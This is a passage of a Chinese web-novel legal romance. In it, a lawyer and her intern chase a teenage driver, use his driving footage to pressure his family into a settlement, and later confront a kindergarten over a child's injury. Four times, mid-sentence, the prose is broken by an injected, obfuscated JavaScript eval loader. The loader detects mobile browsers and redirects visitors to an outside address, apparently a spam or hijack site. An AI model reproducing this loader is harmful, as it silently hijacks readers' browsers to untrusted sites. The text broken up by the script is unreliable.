曹熙见状,一脚油门就跟了上去。 “从我们离开医院开始,就被这辆车一路跟着。”曹熙盯着前方,“在城里的时候还好,才刚走到人少的地方,车里的人就等不住了。” 安雅突然就听懂了,“你是说,刚才那几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464730|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次急刹,都是因为......” “连别车这种幼稚的事都能做得出来,不过幼稚点好,我最喜欢这种幼稚的人了。”那股孩子气的笑又浮上他的眉眼,“你知道吗?刚才我终于有机会凑近看了一眼。” “要是没错的话,前面那辆车车里的人就是吴欢。” “不可能吧!”安雅不可置信地睁大了自己的眼睛,“他不是未成年人吗?怎么能开车?还有.......你怎么认识他?” “今天在办公室我都已经记不清楚看了多少张他的照片了。单人的、双人的、自拍.......都快看吐了,错不了。” “也就是说,小娇今天在医院窗外看到的人……就是他!” 马路与车轮摩擦下发出细碎的爆裂声,安雅心头一紧:“别追了曹熙,这太危险了。” “你担心我?”他歪头笑。 “废话!”安雅抱着他身后的座椅,只恨自己不能把曹熙敲晕了带回律所。这才是他实习的第一天,他们两人也才刚刚认识,她不希望曹熙出任何意外。 听到安雅的话,曹熙倒像是受到了什么鼓励似的,一个甩尾,路虎避之不及,被逼到了高架边上。车内屏幕亮起,曹熙指尖飞快划过分屏界面的某个图标。 “现在,该是他露出真面目的时候了。”曹熙猛按喇叭,不断逼近那辆车,可能是因为技不如人,路虎已经在高架的护栏边连蹭几下,车身开始摇摇晃晃,看样子已经不可能从曹熙的封锁下开出去了。 但那辆车依旧门窗紧闭,像是提前有准备似的贴了防窥膜。安雅坐在车内,根本看不清楚驾驶位的人是谁。 “现在,从后座上找个重点的东西,随便什么,砸他车窗!”曹熙喊道。 “这.......这行吗?”安雅哆哆嗦嗦地拿起面前的车载香氛,金属外壳泛着银光,“曹熙你再想想,车里坐的万一不是吴欢呢?别小娇的事还没解决,咱们俩先进去了.......” 说话间,他突然甩尾卡住路虎去路,两车后视镜相撞迸出火星。曹熙突然回头冲着安雅笑,“要是这样的话,我就又多了些和你独处的时间,也不算亏。” 白色奔驰如猎豹般弹射而出,曹熙精准咬住路虎右后侧死角,安雅一时情急,也顾不得其它,猛然将香薰砸向那点寒光,霎时间,水晶玻璃在吴欢侧脸处炸出一偏蛛网。 “疯女人,敢砸车?”吴欢的声音从车内传来,安雅猛地攥紧安全带,车窗外只有巨大的发动机轰鸣声与咒骂交杂。 终于,吴欢涨红着脸按下车窗,手臂上的蛇形纹身清晰可见:“你他妈知道我爸是谁吗?他的车你也敢砸?” 面对吴欢不堪入耳的咒骂,曹熙放慢了车速。 “他妈怎么不说话?害怕了是不是?晚了!” 如血的残阳下下,曹熙的眼里闪过一丝讶异,这份惊讶伴随着吴欢的无能狂怒又变成了笑话一般,惹得他嘴角上扬,露出闪着寒光的虎牙。 “就你这种人,也配和我讲话?”他突然猛打方向车头狠狠撞上路虎左后轮,轮胎打滑的刹那,路虎摇摇摆摆地就要冲下高架。 安雅被吓得闭眼叫出声来。 15. 第十五章 轮胎与地面摩擦的尖啸声撕裂夕阳,黑色路虎被逼到护栏边缘摇摇欲坠。 像是在安抚受到惊吓的安雅一般,曹熙的言语里都带着轻蔑:“我还以为,这家人真狂到能让个未成年人无证开车出来截律师,原来.......是偷偷开出来的啊。” 在他明晃晃的挑衅下,吴欢像是彻底失去了理智:“我警告你们,少管闲事!” “什么叫闲事?”曹熙挑眉,“案件下周开庭,你现在居然还在威胁恐吓我的当事人,甚至在高架上拦截她的律师?” “法盲有时候真挺可怕的。” 曹熙的声音并不大,但字字都像有千斤重。 “我要是你,就现在立刻回家,抱着爸妈的大腿在家里哭上三天三夜。说不定吴院长心里不忍,还能再铤而走险拉你一把。” “反正你们一家做过的上不了台面的事多了去了,也不差这一件。你说是吧,吴欢?” 曹熙像是换了个人,专挑对方的痛处打。他还想再继续说下去,却被后排伸过来的小手扯住了袖子,“我已经拍好了照片和视频,有了这些,行政处罚是跑不了的。” “行政处罚多没意思。”曹熙兴致不减,“既然有人喜欢用这种下三滥的手段,那我今天就好好陪他玩玩。” “曹熙,别追了,让他走。”安雅的尾音淹没在骤然爆发的引擎轰鸣里。 安雅细白的手指在他肩上紧缩,隔着毛衣,但却依旧能感觉到踏实。 感受着肩头传来她的体温,曹熙指尖在方向盘上骤然收紧,骨节发出细微的响声。后视镜里吴欢的路虎正摇头摆尾,连条直线都开不出来,刺眼的车尾灯被曹熙逼到在高架上甩出一道残影。 “姐姐的手在抖。”像是终于玩够了般,曹熙舔了舔殷红的嘴唇,忽然轻笑一声,将油门缓缓松开。他伸手覆住安雅的手背,体温透过她冰凉的皮肤渗进去,“怕我玩脱了?” “没,没有。”双手触碰的瞬间,安雅立刻抽身回来,佯装镇定,“不追了好不好?我们回去。” “送上门的证据,就这么放走了,姐姐舍得?” “交警二十分钟内就能设卡拦截。”安雅拿出手机,“他跑不了。” “既然这样.......先别急着找交警。”他乖巧一笑,“我听话。” 曹熙轻点刹车,白色奔驰倒退着划出半圆,车灯扫过吴欢惨白的脸,像猛兽戏耍猎物后留下的标记,“快滚!” 吴欢没想到曹熙回突然刹车退后,一时间对向车道连续驶来几辆大卡车,他回转不及,只能继续向前开去。 看安雅惊魂未定,曹熙打了双闪将车停在路边。 “为什么不让交警拦住他!”安雅手里还握着手机,满脸不甘心。 “你看。”曹熙食指轻点屏幕,车载大屏上突然开始播放一段视频。 从吴欢驾驶那辆黑色路虎上了高架后,曹熙车自带的摄像功能已经360度无死角地记录了吴欢未成年违法驾驶改装车并恶意别车的每一个动作,两人看电影一般,尽收眼底。 “什么时候开始录的?”安雅惊喜地凑向曹熙身侧,“我还刚想说车里太摇晃了,我只录到了一点点,这下好了!” “但是就这么放走了他,不能人赃并获,多少还是有点可惜。” 曹熙忽然轻笑出声,“你说,如果我们把这段吴大公子潇洒飙车的录像发给吴院长,作为交换,他会不会在小娇的案子上选择让步?” 安雅瞬间喉间发紧,她立刻明白了曹熙阻止她报警的原因。 虽然小娇的案子陷入僵局,如果真能让被告的父母知道他们手中有新的证据,说不定还真能走到和解那一步。到时候小娇甚至不用出庭,也不用再面对那个打着恋爱幌子这些年不断伤害她的恶魔。同时,也不用把小娇的伤疤揭开当众给所有看,这对当事人岌岌可危的精神状态来说,也未尝不是一件好事。 “可是......这是勒索。”安雅脸色骤变。 “不,这是证据置换。”曹熙拧开手边的水瓶递给她,水珠顺着瓶身滑落在他漂亮的腕骨上,“非法证据排除规则不适用于私人取得的视听资料。” “你是说……五十六条?” “这事,说来也不难。”曹熙点点头,路旁树枝叶间漏下的光映在他的瞳孔上。安雅竟从那双狭长的眼睛里,读出了些许魅惑:“只要我们不直接用于庭审,那就合法合规。” 窗外的夕阳把仪表盘染成血色,安雅又想起病床上小娇瘦骨嶙峋的身体,如同一张揉皱的纸一般薄。都不需要对她做些什么,风一吹就能散了。 “或许是时候问一问当事人,对民事和解费用的预期数目。”曹熙睁着无辜的双眼,却语气冷到冰点,“毕竟,兔子已经自己送上门来了。等了那么久,哪有不吃的道理?” 安雅闭眼压下胃部翻涌,再睁眼时已换上曹熙在录像里看见过无数次的神情,冷峻、疏离,百毒不侵。 “今晚就把视频发出去,告诉吴院长,和解费用低于一百万,免谈。” “好!”蓄谋已久的笑意再次从他脸上弥漫开,“我都想好了,先把视频发给他爸妈,然后我们.......” 曹熙正说到兴头上,安雅的手机突然震动。 看到屏幕上程枫的名字,她犹豫几秒,还是接通了电话。 “方便说话吗?” 安雅从后排瞄了一眼正在专心开车的曹熙,“嗯。” “你现在打开邮箱,小娇最新的检查报告我扫描了一份,在附件里。” “不是说过了,你不要管.......”电话那头程枫声音苏润,但也没压住安雅的火。 “你先听我说完。”早有预料一般,程枫并没有被她的情绪打断,“患者的子宫内膜厚度只有正常值的三分之一,子宫壁上也全是伤痕。老实说,她是我这些年以来,见过最严重的瘢痕子宫” “我不怎么懂法,也不知道这东西有没有用。”骄傲如程枫,安雅却也在这几句话里听出了他的无力,“她不过也才刚成年,应该要有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464731|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人给她一个公道。” “我好像只能救活她。”纸张翻动的窸窣声里夹杂着程枫的呼吸声,“但你可以让她好好生活,所以无论这些东西有没有用,我都希望你知道。” 气已经消了大半,她挂了电话立刻打开邮箱。 曹熙注意到安雅的沉默,小心翼翼开口:“是案子又有什么新变化吗?” “刚收到医院的检查报告,或许,这东西能作为虐待罪的补充证据。”曹熙接过手机,第一眼便注意到了报告下方,主治医师一栏里,程枫的签名。 “看起来是很严重。”曹熙轻叹一声,“才一百万,太便宜那个人渣了。” “别急嘛,一百万只是个开胃菜,好戏还在后头呢。”每当这种时刻,曹熙总觉得安雅活像一把开了刃的刀,寒光闪闪,却又让他着迷极了。 “就凭吴欢一个未成年人都能开上两百多万的改装车在路上无证驾驶,你说这家人会缺钱吗?” “我觉得只要深挖一下,能提的诉讼可多了去了。”曹熙收起笑意,“走,我们回去,把今天的东西都整理一下,再确定下一步。” “第一天就要加班?” 曹熙立刻接话:“我自愿的。” “自愿的也是加班。”很快两人就到了法援中心门口,“你要是喜欢加班,以后有的是机会。” “今天就先回去吧。”安雅推开车门,曹熙车侧边几道突兀的划痕撞入视线,“有时间就先去修车,记得把账单发给我。” 曹熙笑起来:“姐姐这是要养我?” “想得美!别最后传出去你来实习分文不赚,还搭进去修车钱,这以后政法大学谁还敢来做法律援助?”她关上车门。 “那我就先提前谢谢姐姐了。” 两人说着话,安雅已经走到了车前,背对曹熙挥了挥手:“别废话,快走吧。” 看着安雅的身影逐渐缩小,最后消失在法援中心的大厅里,曹熙一阵出神。 看了眼时间,他索性倚在了驾驶位上。手机屏幕映亮他笑意还未散尽的眉眼,他打开邮箱,最新邮件里躺着程枫的资料。 曹熙一张一张翻过,从程枫上医学院开始,学校、社团、奖学金、毕业典礼......一一查看,却没能发现关于这个人和安雅有任何的关联。 信息被翻到最后一页,还是一无所获,心里涌上一阵烦躁,曹熙把手机扔到一边。 车内的柑橘香味在密闭空间里愈发浓烈。他摇下车窗,夜风裹着初夏干燥的尘土扑面而来,法援中心二楼还亮着灯,安雅的身影在窗后时隐时现。 他拿起手边的水一饮而尽,凉意在舌尖蔓延开来。程枫穿着白大褂的身影又在他脑中浮现,和此刻安雅办公室里透出的光在他眼前逐渐重叠。但却都像被蒙上了一层薄纱般,触不可及。 “程枫.......”曹熙的手搭上方向盘,感受着舌头从齿尖轻轻扫过。车窗外,如铅块一般沉重的乌云正吞噬着这个傍晚的最后一线天光。 要起风了。 16. 第十六章 医院的走廊充斥着刺鼻的消毒水味,白炽灯在瓷砖上投下冷白的光晕。 小娇蜷缩在病床角落,枯瘦的手指反复抠着被单上凸起的线头。 曹熙从门外走进,放了一瓶牛奶在小娇的桌边,另一瓶递给了安雅。 “都快夏天了,你从哪买这么热的牛奶?”安雅被烫了一下,立刻将手缩回衣袖里。 曹熙赶忙拿了几张纸巾递给安雅,“我怕喝凉的不好,就在微波炉里热了一下。不过好像,又有点太烫了.......” “曹律师应该是怕我小月子不能受凉,这一段时间,让你们费心了。”小娇向两人投去感激的目光,“长辈们以前总在我面前说,女人要是月子里落下了病根,就要跟着这个人一辈子。但我这辈子已经这样了,以后也不会再有孩子,那也就没什么怕的吧。” “别这么说。”曹熙并不擅长安慰别人,“你只管安心养病就好。还有,虽然我只是安律师的助手,但无论你有什么需要我们做的,都可以告诉我,不用拘谨。” 安雅意识到自己的粗心,又想到小娇这样温柔又善解人意的女孩子,居然也要被如此伤害,这案子不能就这么算了的念头又再次在心里疯狂生长。 “你趁热喝,”安雅将牛奶向前推了推,瓷瓶与桌面碰撞发出清脆的响声,“小娇,对方现在已经愿意将金额提高到两百万。并承诺只要你签了和解书,本月的31号之前,款项将会全数打到你的账户上。”安雅放轻声音,去牵小娇的手。 因为紧张和恐惧,小娇的指缝里已经积聚了一些灰白的纤维,整个手摸起来枯瘦如柴,安雅心里一阵难过。 “但如果你决定不和解,或者认为这个数目还不够,我们还可以再去找对方商议。”她眼神坚定,“重要的是,你不要委屈自己。” 有了上次的经验,曹熙这次没坐在外面。他像一个门神般沉默着斜靠在窗边,不时往窗外望去,以便随时能注意到有没有形迹可疑的人靠近。 听到两百万的数字后,小娇眼里的光转瞬即逝。取而代之的,又是她长久以来挂在脸上的凄楚。视线落在安雅空荡荡的无名指上:“安律师,”她声音沙哑,“你谈过恋爱吗?有没有很喜欢,放不下的人?” 曹熙的指尖无意识地敲打着窗框缝隙,不时有白灰簌簌落在他黑衬衫袖口。听到小娇的问题,安雅翻找文件的手顿了顿,金属活页夹“咔嗒“合拢的声响在病房里格外清晰。 “你好像是第一个问我这种问题的人。”安雅笑了,“我这个年纪说没谈过恋爱,你会信吗?” 面对她的坦诚,小娇也被逗着露出一个苍白的微笑。 “很喜欢却放不下的人,应该,是有的吧。”安雅回答的声音很轻,说这话时,她好像也没有突然想到谁,连心里也是雾蒙蒙的一片,只隐约觉得好像是有这个人的。 可那个人不会是这些年里和她谈过恋爱任何一个前男友,她和那些人恋爱过,最后无疾而终。再回想起来倒也面目清晰,只是心底再难有一丝波澜。 温热的牛奶顺着喉咙流下,安雅在心里想,原来人有时候真的很奇怪。 奇怪到,连自己都看不清。 窗外的梧桐树被风吹得沙沙作响,一片枯叶贴在病房的玻璃上,又再次被风卷走。安雅终于从怀中的文件袋中抽出那张翻找了许久的和解协议,想要递给小娇。 等着小娇撑着身子接过来的当口,那张纸被一阵风不知道从哪来的风从安雅手里吹开,飘飘摇摇地,落在了病房门口。曹熙正要去捡,下一秒却看到门口有人正弯腰捡起散落的文件。 阳光穿过走廊,来人身上的白大褂被照得发亮。 “程主任。”小娇向程枫打了个招呼。 身后的几位护士和医生同程枫一起走进病房,本应是乌泱泱的一片,但安雅却觉得周遭突然变得安静了下来。小娇的问题还萦绕在她心头,只是这一刻,好像其他人都变成了背景板。 看着程枫缓缓走来,答案里那个人的样子便逐渐具体了起来。 “该换药了。”因为捡文件的原因,程枫首先看到的是安雅身边的曹熙。安雅怀疑是她的错觉,只看到两人都不约而同地将目光从对方身上越了过去。程枫走到病床前,给了安雅一个微不可查的眼神,就算是打了招呼。 “怎么,刚才分管护士没有提前来通知吗?”看小娇一脸不解,程枫放慢了节奏,开始向小娇询问病情,“上了止痛泵,伤口还疼吗?” 小娇轻轻摇了摇头。 “请其他人回避一下,等医生为病人换药后再进来探视!”说话间,分管护士连颠带跑地拨开了围在小娇身边的人,却发现程枫已经站在了病床前。她连忙解释道:“刚才给隔壁房间插尿管,患者不是很配合,就耽搁了一下。” 程枫摆了摆手,示意她将小娇周围的窗帘拉上。 - 安雅和曹熙站在病房外,粉色床帘透出程枫修长的身影,他似乎正在低头查看患者腹部的伤疤。 走廊的感应灯随着脚步声忽明忽暗,曹熙背靠消防栓:“姐姐,你说当事人会接受这个和解方案吗?” “啧,说了多少回?” “好好好,安律师!”曹熙举双手投降,“能看出来吴院长一家是真害怕了,和解金这么高他们也能咬咬牙吃下去。有这样的决心和能力,早干嘛去了?不知道把孩子好好管管!” “两百万,比我们最初预估高了一倍。”安雅不置可否,“一旦当事人签字,这个案子也就算得上是圆满完成了。” “你觉得当事人会接受?”曹熙突然打断。 安雅转头看向病房磨砂玻璃,隐约能见程枫为小娇换药的剪影。安雅开始不可抑制地想象着那里面的情形:绷带一层层拆开,小娇单薄的肩膀在冷光里瑟缩,像被剥开外壳的蝉蛹。而她身下,却蜿蜒着一道蚯蚓般触目惊心的伤疤....... “我不知道。”安雅已经摸到了包里的烟盒,又转念一想这里是医院,便把心里再次升腾的欲念压了下去。“但我尊重当事人的选择。” “以前我做律师,没遇到过这么多掺杂了当事人感情、甚至生命的案子。就算是婚姻家事,但能找到事务所的,也都是已经算得上成功的已婚人士。”安雅的声音凝重,“两个人确实爱过一场,无论是大难临头还是另有新欢,最后找律师都只为了一个原因,就是最大化的保护好自己的利益不被另一半拿走。” “股票、期权、股权、不动产.......他们的资产数目往往都称得上是可观,每一个类目都得从四大找几个人算上好几天,最后再一起商讨好至少三种方案,求的就是利益最大化。至于爱不爱,值不值得,还有应不应该,这都是当事人的私事,我们作为律师,无权过问,也不应该对那些事感兴趣。” 曹熙的喉结动了动,不知道该说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464732|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些什么。 “你知道吗?看到小娇,我总是能想到那些来找我办过案子的太太们。”安雅仰头,眯眼看着窗外的阳光,“她们那么年轻漂亮,但却基本都戴着墨镜。在叙述案情时逻辑清晰,没有一句废话,直到从事务所离开,也不允许自己流一滴眼泪。” “为什么?”曹熙不解。 “我刚开始也不明白。”安雅耸肩,“但现在我想应该有一些答案了。” “因为感情会让人变得脆弱,如果你一直想着对方的好,又怎么能狠下心来为自己去争取最大的利益呢?真心瞬息万变,但资产只要合法留存在自己的名下,无论发生什么事,都不会变,也不会被偷走。” “所以那些太太不是没有意识到,在这场感情的博弈里早就输了。只是不相信,不甘心,也不愿意认输。”安雅笑了,“但我隐约觉得,我们的当事人不一样......” 两人还未说完话,走廊尽头便传来护士急促的呼叫:“程主任!急诊送来一个产妇,初步诊断有脐带脱垂的风险,你快过去吧!” 警报声突然撕裂走廊的寂静,两人转身时,正撞见程枫带着几位医生从走廊飞奔而过。 “走吧。”曹熙走到她身边,叫醒了正望着程枫背影出神的安雅,“我们去听听当事人最终的决定。” - 等两人再次走近时,小娇已经撑着病床坐了起来,她拿起那张轻飘飘的和解协议,挤出了一个微笑:“安律师,我想好了。” “我愿意和解。”小娇轻声说,“我们都做错了事,我错在爱过他,他错在不爱我,然后就有了这所有的一切。其实,一开始我就从没想过要告他,是我爸妈.......给你们添麻烦了。” 安雅摇了摇头表示没关系,看小娇还要挣扎着起来,她上前扶着小娇,两人一起站在窗前。 “我知道的,他不断逼我把孩子打掉,是他不对,我当时就应该离开他。事情到了现在这个地步,我也可以继续告他,为自己和那些未曾出世的孩子要一个公道。如果我想的话,你也会帮我要到更多的钱.......”窗外的阳光从梧桐树的缝隙里洒下来,小娇像是用尽了全身力气,从苍白的嘴唇里挤出几个字:“可我做不到!” 该怎么和另一个人体面的说再见呢?安雅没能想到什么好办法。但在小娇确定了要接受和解条件之后,她反倒松了一口气。做律师这么多年,安雅清楚的知道,最可怕的其实不是代表当事人的诉讼被判输,而是对立双方在心里反复横跳的不甘。 有些人为了那一股执念可以消耗几年,甚至几十年的时间。他们一心想要抓住点什么,却忘了人生到最后都是两手空空。相比之下,小娇倒勇敢的多。 “安律师,你可以觉得我不争气,也可以说我是恋爱脑、蠢女人。我也是现在才发现,原来我为了所谓的爱情,做了这么多错事.......” 小娇话音未落,安雅的手机却突然震动。 看到屏幕上显示着完全陌生的号码,安雅和曹熙交换了一个眼神。他们都明白,在和解的关键时间节点,如果有一方反悔或者出现了能一举扳倒对方的新证据,那现在他们为当事人争取到的一切,就全完了。 思考了几秒,安雅还是接通了电话。 “是我。”曹熙看她声音干脆地回应了电话里的身份确认,但只过了几秒,他就注意到安雅接电话的手指开始微微发抖。 17. 第十七章 病房里再次陷入寂静。 电话外,安雅好看的眉毛逐渐拧在一起,连曹熙的心也跟着被提了起来。虽然他和安雅认识的不算久,但她这幅样子,也是曹熙第一次见。 “恩宇他......”安雅的声音极轻,“从滑梯摔下来了?” 曹熙开始飞速在脑子里搜索“恩宇”这个关键词,即便他跟着安雅已经把案子的卷宗和相关证据翻来覆去看了多次,但依旧不知道安雅在电话里提及的那个人是谁。 他只能绷着一根弦等着。 “他爸爸应该正在........”眼前闪过几分钟前程枫跑向急诊室的身影,安雅只在心里略微思考,就向电话里答应了下来,“好,那请你们简单处理伤口后带着他尽快过来,我们急诊见。” 在曹熙关切的目光里,她挂了电话。安雅转身向他轻轻摇了摇头,他的心便突然安了下来。 好像总是这样,只要她在,所有事就都不会有问题。 看着已经泣不成声的小娇,安雅走近了几步,帮她整理着凌乱的头发。“我承认当局者迷,但无论作为你的代理律师还是其它什么身份,小娇,我都从来没有觉得你做错了什么。”安雅说的是真心话。 她的身上散发着类似于药品的凄苦味道,脸颊两侧的头发在安雅手中微微发硬。安雅知道,那是小娇这些天以来无数次哭过的证明。 “安律师,我知道无论再怎么做,我的孩子不会再回来,那些流过的血和受过的疼痛也不会消失。”她望向安雅,“和解不是原谅。“小娇强忍着腹部的疼痛向前走了几步,安雅连忙再次扶住她,“我只是.......不想变成和他一样的怪物。我确实爱过他,但早都应该停下来了。” “所以,我不想再纠缠了。就是让他坐了牢,又能怎么样呢?”小娇眼神空洞,干涩的眼角流不出一滴泪来,“这几年,我做错了太多事。现在我已经得到了我的报应,他也一样。不如,就让这件事到此结束吧。” “你才刚刚成年,以后还有大把大把的好日子等着你!”看小娇失魂落魄,一旁的曹熙也赶紧跳出来敲边鼓:“报应什么的,你不要那么想。做错了事也没关系,只要不一直错下去就都有希望。” “对呀。”安雅轻声安慰着她,“小娇,我要说你比我见过的很多人都更有勇气。这个案子也尊重你的意见,不出意外的话,明天就能和对方签订和解书。你就在医院里好好休息,过几天,等你彻底康复了,我们再来接你出院好不好?” “爱错了人也没关系。”离开时安雅轻轻拥抱了小娇。靠在她枯黄的发边,安雅像哄孩子一般,轻轻拍着她的背:“停下来就好了。” - 拿着委托书离开住院部时,曹熙突然被走在他身后的安雅叫住。 “你先带着委托书回去,我还有点事。”安雅看着手机时间,离接完那个电话刚过去了十分钟,“今天已经有点晚了,你记得约对方明天8点在中心见面,如果顺利的话,这个案子就可以结了。” “去哪?我送你啊!”曹熙还舍不得离开,但安雅已经快步走向了另一个方向,“安律师,要不要我跟你一起去.......”曹熙还想再说点什么。 “你回去把今天的资料整理好,准备好明天和对方见面的东西,就可以下班了。”安雅头也不回,给曹熙安排好工作后就离开了。 曹熙望着安雅远去的背影,无奈地轻叹一声。 安雅的高跟鞋有规律地敲击着医院的地面,最后逐渐被嘈杂吞没。 小娇的案子终于有了结果,但她却没有像以前一样,再次感受到那种轻松的快乐。像是胸腔里被塞进了潮湿的棉絮一般,她抬手按了按心口,那里好像沉淀着经年累月的酸涩。难过突然从她的心底涌上,是那种可惜和后悔一直积累,最后汇聚成了难过的复杂感受。 她开始不断地回想,以前好像自己也是这样,一腔孤勇,然后惨淡收场。 所以,喜欢上一个错的人真的也没什么吧?只要放弃就好了。 心里想着事情,但安雅脚下还是匆匆赶路,恩宇应该也快要被老师们送来医院了。 她一刻不停地走到急诊部的拐角处,突然听到一阵刺耳的滚轮声从墙后传来。 转眼间,一群医生护士便扶着推车横亘在她面前。病床上产妇苍白的腿间垂着半透明的胎膜,血水从急诊室淅沥沥淋了一路。安雅不忍再看,正想别过头,又看到一个熟悉的身影从急诊室随着推车跟出。 程枫正徒手托住胎儿脱垂的脐带,血珠顺着他的手腕滴在产妇惨白的身体上。他染血的手套托着产妇下/体那些悬垂在空气中的组织,能看得出来,程枫在小心翼翼地保持着手部的稳定和力度。 “让一让!让一让!”负责推床的护士们用身体围城一道人墙,却也敌不过急诊数目庞大的病患,只能提高了嗓子不断呼喊,才勉强能为产妇开辟出一条路来。 “通知麻醉科准备即刻剖宫!”程枫的低吼穿透人群,他几乎半个身子都伏在推床上。 安雅被呼啸而过的产床挤到墙边,后背紧贴着墙壁,感受着自心底而上的凉意。飙车、手术、血肉模糊.......她隐约感觉到自己这一个月以来的见闻,比过去十年遇到的总和还要触目惊心。 以前,她只需要服务那些支付得起3000港币一小时酬金的客户们。而现在,她才终究得以窥见正常生活的一角。 头晕眼花。 扶着墙壁缓了几秒,她终于回过神来。 “我在区医院急诊门口,你们还有多久才能到?”安雅向恩宇幼儿园的老师打去了电话。 说话间,就看到一辆灰色小轿车停在急诊门口,幼儿园老师抱着恩宇从里面走下。 小小的恩宇脸上还挂着没擦干的泪痕,树袋熊一样地挂在老师身上,一声不吭。倒是幼儿园老师一脸急迫,一只手抱着恩宇,另一只手捂着孩子头上一角处的纱布,急的满脸都是汗。 “安小姐,我们一直尝试联系恩宇的爸爸,但电话实在是打不通。好在恩宇记得你的电话,我们就打给你了,他说你是他爸爸的.......”老师一时不知道该不该说。 “老朋友。”安雅点点头,让这个身份看起来顺理成章。她领着恩宇和老师走进了诊室,“张老师,我们先请医生检查一下外伤,然后再明确下一步要做哪些检查排除内伤。” “好好好!”张老师自知理亏,立刻拿出一副全凭安雅安排的样子,“大课间活动,本来恩宇和其他几个小朋友都玩的挺好的,我们配班老师也在他们附近看着。也不知道是怎么回事,等我们听到哭声的时候,恩宇就已经摔下滑梯了........” 安雅透过门缝盯着躺在床上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464733|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩宇,医生拿开他额头的纱布,露出鬓角一片嫣红。 “是谁把他推下滑梯的?”那片红刺着她的心,让堵在胸口的棉絮更沉重了一点,“为什么幼儿园只有你一位老师过来?你可以代表幼儿园的态度和立场吗,张老师?” 在急诊检查室外,张老师不断向安雅解释恩宇的受伤过程:“都是小朋友,玩起来也没个轻重。不过幸好孩子没什么大问题,以后我们一定注意,避免这类安全事故发生......” “恩宇的伤有没有问题,得医生检查了才知道。顺便说一句,我对你们幼儿园的内部管理政策没什么兴趣。相比之下,我更想知道,是谁推了我们恩宇?” “啊?”张老师就地反应了几秒才缓过来。因为恩宇被欺负的事,她见过不少次程枫,只留下了个这孩子爸爸长得帅气又好说话的印象。 没想到这次换了个人,完全没有给她留余地。 在她看来,小孩子之间打打闹闹很正常,谁家孩子小的时候不是这样呢?又加上程枫好说话,她也就没把恩宇的事放在心上。 可这次恩宇被人从滑梯上推下来直接撞在扶手边缘,她眼看着血瞬间从恩宇的额头上涌出,也是给张老师吓坏了。 但具体是谁推了恩宇,她也没看清。作为一个打工人,张老师也只能寄希望于这次程枫也好说话一点,给孩子把伤治好,就不要再深究了。 但她这次,遇到的是安雅。 “平时我都是和孩子爸爸交流,他那个人脾气好又通情理。”张老师还是决定多一事不如少一事,又拿出那副老好人的样子准备糊弄,“谁家孩子能在长大的过程中不受点伤呢,要是每件事都要刨根问底,以后哪个小朋友还敢和恩宇玩,幼儿园也不敢收了啊。恩宇爸爸肯定是不希望这种事发生的,你说对吧?安小姐。” 这谁都能听得出来,张老师是在劝安雅在管闲事之前,先想想自己的身份。 但在安雅听完这些话后,心里却只有后悔。 小娇的案子让她忙得脚不沾地,再加上不想让程枫和案子有太多牵扯,就也忽略了恩宇曾经告诉过自己他总被小朋友欺负的事。而现在张老师的话更加印证了她的猜想,恩宇确实是被欺负了,而且不止一次。 检查室里,医生正在趴在恩宇的额头为他的伤口仔仔细细地缝针。虽然打了麻药,但每下一针,恩宇的身体就会肉眼可见的跟着抖动。安雅背过脸去,像是不忍猝读一般。 “你看,我们恩宇一声都没有哭,他真的很坚强,是个小小男子汉!”谁都能看出来躺在床上的孩子在极力忍耐着痛苦,安雅实在无法理解,为什么张老师却还能思路清奇地说出这些话,直接惹得她恶向胆边生。 “张老师,虽然我只是恩宇爸爸的朋友,但如果这件事不能妥善解决的话,我也可以成为恩宇的代理律师。”安雅说这话的时候不带一丝情绪,“关于恩宇被推下滑梯受伤这件事,我需要在明天上班之前知道是谁推了恩宇,为什么涉事的未成年人和他的监护人现在没有陪同恩宇一起来医院?以及幼儿园的老师当时在哪里正在做什么?有没有尽到监护义务?” “今天的医药费我坚持由幼儿园垫付,在明晰了后续治疗和相关赔偿以后,我们会给出详细清单向幼儿园和对方监护人。”忍着内心翻滚的愤怒,安雅吐出最后一句,“还有,这件事,我管定了。” 18. 第十八章 